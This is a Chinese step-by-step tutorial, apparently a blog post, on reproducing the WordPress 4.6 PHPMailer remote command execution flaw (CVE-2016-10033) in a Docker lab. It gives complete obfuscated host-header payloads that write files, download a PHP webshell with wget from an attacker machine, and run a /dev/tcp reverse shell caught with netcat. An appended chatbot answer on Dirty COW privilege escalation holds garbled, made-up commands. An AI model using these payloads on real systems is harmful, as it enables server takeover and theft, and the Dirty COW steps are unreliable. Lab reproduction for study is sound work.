WordPress4.6命令执行漏洞(CVE-2016-10033)复现教程---保姆级教程

前期准备

一台windows10(攻击机)

一台Centos7(靶机)

kali

Docker安装

[root@localhost ~]# yum info docker    #  查看docker的软件安装包
[root@localhost ~]# yum install docker #安装
[root@localhost ~]# docker version      #查看版本
Client:
 Version:         1.13.1
 API version:     1.26
[root@localhost ~]# systemctl start docker   #启动docker
[root@localhost ~]# systemctl status docker    # 查看docker状态
● docker.service - Docker Application Container Engine
   Loaded: loaded (/usr/lib/systemd/system/docker.service; disabled; vendor preset: disabled)
   Active: active (running) since 五 2022-09-09 19:23:14 CST; 11s ago
     Docs: http://docs.docker.com
 Main PID: 15463 (dockerd-current)
    Tasks: 20
    [root@localhost ~]# systemctl enable docker                 # 开机自启
Created symlink from /etc/systemd/system/multi-user.target.wants/docker.service to /usr/lib/systemd/system/docker.service.

[root@localhost ~]# cd vulhub-master/    # 进入到vulhub目录
[root@localhost vulhub-master]# cd wordpress/
[root@localhost wordpress]# cd pwnscriptum/
[root@localhost pwnscriptum]# curl -L "https://github.com/docker/compose/releases/download/1.26.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose && chmod +x /usr/local/bin/docker-compose         # 安装docker-compose
[root@localhost pwnscriptum]# docker-compose -v          # 查看compose版本
docker-compose version 1.26.2, build eefe0d31
[root@localhost pwnscriptum]# docker-compose up -d    # 运行容器   
[root@localhost pwnscriptum]# docker ps -s    # 查看容器是否运行CONTAINER ID        IMAGE                  COMMAND                  CREATED             STATUS              PORTS                  NAMES                 SIZE
c533dd348c38        vulhub/wordpress:4.6   "/usr/local/bin/do..."   30 seconds ago      Up 28 seconds       0.0.0.0:8080->80/tcp   pwnscriptum_web_1     24.8 MB (virtual 317 MB)
ef1dcc6fb503        mysql:5                "docker-entrypoint..."   31 seconds ago      Up 30 seconds       3306/tcp, 33060/tcp    pwnscriptum_mysql_1   4 B (virtual 430 MB)
# 注意:另外停用容器执行如下命令
[root@localhost pwnscriptum]# docker-compose down   # 停用容器

http://10.10.10.131:8080    # 之后在浏览器中输入相应的IP:端口访问搭建WordPress站点
# 之后开始创建等一系列简易操作

 我们可以看到站点搭建Successful~~

 

漏洞原理

WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,(phpmailer组件调用linux系统命令sendmail进行邮件发送,通过传入的SERVER_NAME获取主机名(即请求host值),而SERVER_NAME没有经过任何过滤,从而产生漏洞,而exim4替代了sendmail的功能,即可以利用substr,run函数等进入绕过,构造payload)造成远程命令执行的危害。漏洞利用条件:

    不能包含特殊字符
    命令需为小写
    命令需使用绝对路径
    需要知道现有用户名

注意点:命令只在服务器端执行命令、不会显示在客户端

漏洞影响版本:

    WordPress <= 4.6 PHPMailer < 5.2.18

漏洞复现

┌──(root💀kali)-[~]
└─# wpscan --url http://10.10.10.131:8080/         # 通过wpsan工具扫描一下此站点的CMS版本
#通过扫描我们发现此站点的cms为wordpress并且版本为4.6存在RCE相关的漏洞

漏洞位置在忘记密码界面在找回密码时WordPress会使用PHPmailer发送重置密码邮件,这个时候PHPmailer<=5.2.18时存在RCE。
在登陆界面点击忘记密码---之后在如下界面中输入刚开始注册的用户名(存在的用户名即可其他没要求) 之后开始通过bp进行抓包 

注意:
`${substr{0}{1}{$spool_directory}}`代替`/`

`${substr{10}{1}{$tod_log}}`代替空格
-----------------------------------------------------------------------------------------------------------------------------------------
意思是在tmp处创建success文件
由于WordPress以及PHPMailer都会防止攻击者注入空字符,并且host字段值中出现/会出现请求错误,所以我们要绕过空格和/
payload中run{}里面所有 / 用 ${substr{0}{1}{$spool_directory}} 代替
payload中run{}里面所有 空格 用 ${substr{10}{1}{$tod_log}} 代替

未采用过滤时的payload
aa(any -froot@localhost -be ${run{/bin/touch /tmp/ggbond}} null)
替换的payload(意思是在靶机的/tmp目录下创建一个ggbond文件)---作用其实就是测试能否写入到靶机
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}ggbond}} null)

之后我们回到靶机看一下是否通过payload创建成功
[root@localhost html]# docker ps -s        # 查看容器ID之后进入
[root@localhost html]# docker exec -it c533dd348c38 /bin/bash   # 通过上面查询到的容器ID进入此wordpress容器内
root@c533dd348c38:/var/www/html# ls /tmp/               # 我们发现ggbond文件创建成功
ggbond

写入Webshell

攻击机:windows(10.10.10.141)---攻击机必须开启web服务,写一个一句话木马文件,之后操控靶机利用curl或者weget命令下载远程文件,之后通过蚁剑等webshell工具进行连接;windows系统可以通过phpstudy开启。Linux开启Apache服务(在此过程需关闭全部防火墙和杀软);要确保靶机可以访问主机一句话文件
靶机-wordpress: centos7 (10.10.10.131)

 windows攻击机通过phpstudy开启web服务;并且创建一个一句话木马文件
如下图本地可以访问此木马文件

在靶机中测试能否访问到木马文件 

# 下方为写入webshell的payload解析
aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /var/www/html/shell.php 10.10.10.141/ggbond.txt}}null)
#上面的payload意思是:从10.10.10.141这个地址下载ggbond.txt,保存到靶机的/var/www/html下,并命名为shell.php
# 替换后的payload
aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}10.10.10.141${substr{0}{1}{$spool_directory}}ggbond.txt}} null)

此刻我们验证一下 看看靶机中是否存在了shell.php一句话木马

 最后看下我们胜利的成果
通过蚁剑进行连接
相应配置如下图

效果图 

二、通过反弹Shell来获取靶机服务器

接下来我们开始用第二种方法反弹shell进入web服务器 

同理攻击机是windows的话通过phpstudy来开启web服务
攻击机: 10.10.10.141(win10)
靶机:10.10.10.131 

bash -i >&/dev/tcp/10.10.10.141/1234 0>&1
#反弹shell命令,ip填的是攻击机的ip,端口随便设置一个不冲突的就行
靶机中验证一下我们发现可以访问到反弹文件

因为此漏洞的漏洞点就在‘忘记密码--获取新密码’处 

 

如下图为bp抓取的流量包;将其发到重发器 

# 没转义之前的payload
gg(any -froot@localhost -be ${run{/usr/bin/weget --output-document /tmp/ggbond 10.10.10.141/ggbond.txt}}null)
# 转义之后的payload
gg(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}ggbond${substr{10}{1}{$tod_log}}10.10.10.141${substr{0}{1}{$spool_directory}}ggbond.txt}} null)

回到靶机我们看到确实已经成功写入
[root@localhost pwnscriptum]# docker ps -s
[root@localhost pwnscriptum]# docker exec -it 3c00d73cbfb3 /bin/bash
root@3c00d73cbfb3:/var/www/html# ls /tmp/
ggbond
root@3c00d73cbfb3:/var/www/html# cat /tmp/ggbond
bash -i >&/dev/tcp/10.10.10.141/6666 0>&1root@3c00d73cbfb3:/var/www/html#

攻击机开始监听6666端口
C:\Users\18325\Desktop\Netcat>nc64.exe -lvp 6666

# 执行上传的反弹Shell文件
gg(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}ggbond}} null)
# 如下图反弹成功 

  • 2
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
你好!对于Linux提权的脏牛漏洞CVE-2016-5195),我可以为你提供一些的步骤。请注意,这是一个严重的安全漏洞,仅用于测试和教育目的。 在开始之前,请确保你已经备份了你的系统和数据,因为这个过程可能会对系统造成损坏。 以下是脏牛漏洞的一般步骤: 1. 确认你的系统受到脏牛漏洞的影响。你可以使用以下命令检查: ```shell $ uname -r ``` 如果输出的内核版本在`3.0`到`4.7`之间(不包括两端),那么你的系统可能受到影响。 2. 下载并编译脏牛漏洞的测试程序,可以使用以下命令: ```shell $ git clone https://github.com/dirtycow/dirtycow.github.io $ cd dirtycow.github.io $ make ``` 3. 运行测试程序进行提权。请注意,这可能会对系统造成损坏,所以请谨慎操作。 ```shell $ ./test_dirtycow your_file_name ``` `your_file_name`是你想要修改的目标文件的路径。这个测试程序会尝试修改目标文件的权限,以实提权效果。 4. 检查提权是否成功。你可以尝试运行一个需要超级用户权限的命令来验证。 ```shell $ sudo whoami ``` 如果输出结果为"root",那么你已经成功提权了。 请记住,在测试和漏洞时,务必遵守法律和道德准则。此外,确保你在合法的环境下进行测试,并获得了合适的授权。 希望这些步骤能帮助到你!如果你有任何其他问题,请随时提问。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值